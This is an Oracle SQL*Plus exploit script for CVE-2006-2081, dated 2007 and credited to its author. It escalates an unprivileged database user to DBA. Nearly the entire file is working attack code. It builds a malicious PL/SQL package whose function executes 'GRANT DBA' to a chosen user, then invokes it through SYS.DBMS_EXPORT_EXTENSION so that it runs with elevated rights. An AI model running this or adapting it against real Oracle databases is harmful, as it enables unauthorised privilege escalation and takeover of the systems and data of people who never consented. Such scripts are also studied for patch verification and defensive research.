-- 
-- dbms_exp_ext.sql
--
--
-- Oracle dbms_export_extension exploit (any version)
-- 
-- Grant dba permission to unprivileged user
-- 
-- Tested on Oracle 10g - Release 10.2.0.1.0
--	    Oracle  9i - Release  9.2.0.2.0
-- 
--   REF:    http://www.securityfocus.com/bid/17699
--
--   AUTHOR: Andrea "bunker" Purificato
--           http://rawlab.mindcreations.com
--
--   DATE:   Copyright 2007 - Sun Feb  4 15:53:04 CET 2007
--
-- 
--
set serveroutput on;
prompt [+] dbms_exp_ext.sql exploit (CVE-2006-2081)
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2
prompt 
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
prompt
prompt [-] Wait...

CREATE OR REPLACE PACKAGE BUNKERPKG AUTHID CURRENT_USER IS
FUNCTION ODCIIndexGetMetadata (a SYS.odciindexinfo, b VARCHAR2,
c VARCHAR2, d SYS.odcienv) RETURN NUMBER;
END;
/

prompt [-] Building evil package...

CREATE OR REPLACE PACKAGE BODY BUNKERPKG IS
FUNCTION ODCIIndexGetMetadata (a SYS.odciindexinfo, b VARCHAR2,
c VARCHAR2, d SYS.odcienv) RETURN NUMBER IS
PRAGMA AUTONOMOUS_TRANSACTION;
    BEGIN
	EXECUTE IMMEDIATE 'GRANT DBA TO &the_user';
	COMMIT; RETURN(1);
    END;
END;
/

prompt [-] Finishing evil package...

DECLARE
 PLS PLS_INTEGER;
 RET VARCHAR2(200);
BEGIN
 RET := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
    'A',''||user||'','BUNKERPKG',''||user||'','',PLS,0);
END;
/

prompt [-] YOU GOT THE POWAH!!
